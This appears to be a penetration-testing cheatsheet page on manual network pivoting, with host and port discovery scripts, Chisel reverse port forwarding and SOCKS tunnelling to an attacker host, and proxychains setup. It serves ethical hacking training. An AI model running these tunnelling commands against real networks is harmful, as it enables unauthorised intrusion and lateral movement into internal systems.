# Pivoting

Pivoting is a crucial technique in ethical hacking and penetration testing, allowing attackers to extend their reach within a network. The provided Cheatsheet outlines the process of pivoting manually, without relying on tools like Metasploit. Let's break down the steps:

#### 1. Discover Active Machines

* Use the `host_discovery.sh` script to ping all IPs on the specified network.
* Example:

  ```bash
  bash host_discovery.sh 10.10.2
  ```

#### 2. Discover Open Ports

* Utilize the `port_discovery.sh` script to discover open ports on the active machines.
* Example:

  ```bash
  bash port_discovery.sh <IP_ADDRESS>
  ```

#### 3. Port Forwarding with Chisel

* Download and use Chisel for port forwarding. Transfer the Chisel binary to the victim machine.
* On the attacker's machine:

  ```bash
  ./chisel server --reverse -p 1234
  ```
* On the victim machine:

  ```bash
  ./chisel client <ATTACKER_IP>:1234 R:80:<TARGET_IP>:80
  ```

#### 4. Tunneling Networks

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2F13tf0X1HPyj6N0bp0TJi%2Fimage.png?alt=media&#x26;token=3f5173df-75d1-41e2-b4d5-b1deb9e04704" alt=""><figcaption></figcaption></figure>

* Create a tunnel between networks using Chisel for network pivoting.
* On the attacker's machine:

  ```bash
  ./chisel client <ATTACKER_IP>:1234 R:socks
  ```
* Modify `/etc/proxychains.conf` to use the created tunnel.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FAzlg40m3UzRsZ08btAvl%2Fimage.png?alt=media&#x26;token=a0aef26f-a461-4bac-b821-b8542c81290b" alt=""><figcaption><p>uncomment this line</p></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FEQf510bajdOyiy1Ld5k3%2Fimage.png?alt=media&#x26;token=e0c6cf9f-af71-45a4-b447-bbcdc58ea6e5" alt=""><figcaption><p>in the end of the file </p></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FIRhr46jggm7VCuc7R3Al%2Fimage.png?alt=media&#x26;token=99033461-e018-499f-9174-ab980e273eb4" alt=""><figcaption><p>Result</p></figcaption></figure>

#### Automation with Pivoting\_Enum Bash Script

* Transfer and execute the `pivoting.sh` script on the victim machine.
* Example:

  ```bash
  bash pivoting.sh NETWORK
  ```
